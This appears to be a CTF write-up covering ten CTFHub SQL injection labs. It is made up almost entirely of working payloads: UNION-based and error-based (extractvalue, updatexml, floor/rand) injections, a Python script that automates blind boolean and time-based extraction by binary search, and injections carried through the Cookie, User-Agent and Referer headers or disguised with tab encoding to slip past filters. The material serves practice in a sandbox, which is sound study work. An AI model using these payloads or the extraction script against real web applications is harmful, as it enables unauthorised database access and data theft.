SQL 注入：CTFHub 实战 10 题

1 AND 1=1
1 AND 1=2

-1 UNION SELECT 1,2

-1 UNION SELECT 1,group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()

-1 UNION SELECT 1,group_concat(column_name) FROM information_schema.columns WHERE table_name = "flag"

-1 UNION SELECT 1,group_concat(flag) FROM flag

1' AND '1'='1
1' AND '1'='2

-1' UNION SELECT 1,2 AND '1' = '1
-1' UNION SELECT 1,group_concat(table_name) FROM information_schema.tables WHERE table_schema = database() AND '1' = '1

-1' UNION SELECT 1,group_concat(column_name) FROM information_schema.columns WHERE table_name = "flag" AND '1' = '1
-1' UNION SELECT 1,group_concat(flag) FROM flag WHERE '1' = '1

# xml_documen为XML文档对象的名称，xpath_expr为Xpath格式的字符串
extractvalue(xml_document, xpath_expr)
# xml_target为XML文档对象的名称，xpath_expr为Xpath格式的字符串，new_val为String格式，用于替换数据
updatexml(xml_document, xpath_expr, new_val)

floor(number) # 向下取整
rand() # 生成一个0~1之间的随机浮点数
count(*) # 统计某个表下总共有多少条记录
group by x # 按照（by）一定的规则（x）进行分组

1 AND extractvalue(1,concat('~',database()))
1 AND updatexml(1,concat('~',database()),1)
1 AND (SELECT 1 FROM (SELECT count(*),concat(database(),floor(rand(0)*2)) x FROM information_schema.tables group by x) a)

1 AND extractvalue(1,concat('~',(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=database())))
1 AND updatexml(1,concat('~',(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=database())),1)

1 AND extractvalue(1,concat('~',(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_name = "flag")))
1 AND updatexml(1,concat('~',(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_name = "flag")),1)

1 AND extractvalue(1,concat('~',(SELECT group_concat(flag) FROM flag)))
1 AND updatexml(1,concat('~',(SELECT group_concat(flag) FROM flag)),1)

# 查看前32个字符（从第一个往后查32）
1 AND extractvalue(1,concat('~',substr((SELECT group_concat(flag) FROM flag),1,32)))
# 从第32个字符开始，往后查32个
1 AND extractvalue(1,concat('~',substr((SELECT group_concat(flag) FROM flag),32,32)))

1 AND substr(database(),1,1) = 's'

import urllib.parse
import time
from http_req import send_once

HOST = "challenge-2141d41f2d39ab5a.sandbox.ctfhub.com"
PORT = 10800

SLEEP = 2                     # 目标睡几秒
THRESHOLD = SLEEP * 0.7       # 判定阈值：留 30% 余量抗网络抖动

def test_time(cond):
    # 条件成立就睡 SLEEP 秒，不成立立刻返回
    path = "/?id=" + urllib.parse.quote(f"1 AND IF({cond},SLEEP({SLEEP}),0)")
    t0 = time.time()                       # 开始计时
    send_once(HOST, PORT, "GET", path, {})
    cost = time.time() - t0                # 实际耗时
    return cost >= THRESHOLD               # 超过阈值 = 条件为真

def test_bool(cond):
    # 发一次布尔查询，返回 TRUE/FALSE
    # 整段编码
    path = "/?id=" + urllib.parse.quote("1 AND " + cond)
    status,_,text = send_once(HOST,PORT,"GET",path,{})
    return "query_success" in text

def get_char(sql,pos):
    # 利用二分提高效率
    lo,hi = 32,126
    while lo < hi:
        mid = (lo + hi) // 2
        if(test_time(f"ascii(substr(({sql}),{pos},1)) > {mid}")):
            lo = mid + 1
        else:
            hi = mid

    return chr(lo)

def get_str(sql,max_len=64):
    # 逐位取完整字符串
    out = ""
    for pos in range(1,max_len + 1):
        if not test_time(f"length(({sql})) >= {pos}"):
            break
        ch = get_char(sql,pos)
        out += ch
        print(f"[{pos}] {ch} -> {out}")

    return out

if __name__ == "__main__":
    print("链路自检:", test_time("ascii(substr((select database()),1,1))>100"))
    print(get_str("SELECT database()"))

"""
def send_once(host, port, method, path, headers, body=""):
    connect = http.client.HTTPConnection(host, port, timeout=5)
    try:
        # 字符串要先编码成字节：http.client 默认用 latin-1 编码 str，中文会炸
        data = body.encode("utf-8") if isinstance(body, str) else body
        connect.request(method, path, body=data, headers=headers)    # 把 data 发出去
        response = connect.getresponse()
        status = response.status
        text = response.read().decode("utf-8", "ignore")
        return status, response.headers.items(), text
    except Exception as e:
        print("Error:", e)
        return 0, [], ""
    finally:
        connect.close()
"""

print(get_str("SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()"))

print(get_str("SELECT group_concat(column_name) FROM information_schema.columns WHERE table_name=\"flag\""))

print(get_str("SELECT group_concat(flag) FROM flag"))

1 AND if(substr(database(),1,1)='a',1,sleep(5))

print(get_str("SELECT group_concat(flag) FROM flag"))

Cookie: id=-1 UNION SELECT 1,2

Cookie: id=-1 UNION SELECT 1,group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()

Cookie: id=-1 UNION SELECT 1,group_concat(column_name) FROM information_schema.columns WHERE table_name="ovjpsakvww"

Cookie: id=-1 UNION SELECT 1,group_concat(gybrntmptf) FROM ovjpsakvww

User-Agent: -1 UNION SELECT 1,2

User-Agent: -1 UNION SELECT 1,group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()

User-Agent: -1 UNION SELECT 1,group_concat(column_name) FROM information_schema.columns WHERE table_name="zvzzmtgoyl"

User-Agent: -1 UNION SELECT 1,group_concat(paovfowsnu) FROM zvzzmtgoyl

Referer: 1

Referer: -1 UNION SELECT 1,group_concat(hijggfxrfs) FROM higfmabiib

GET /?id=-1%09UNION%09SELECT%091,2 HTTP/1.1

GET /?id=-1%09UNION%09SELECT%091,group_concat(table_name)%09FROM%09information_schema.tables%09WHERE%09table_schema=database() HTTP/1.1

GET /?id=-1%09UNION%09SELECT%091,group_concat(anzzwkuqho)%09FROM%09huizcbwvvc HTTP/1.1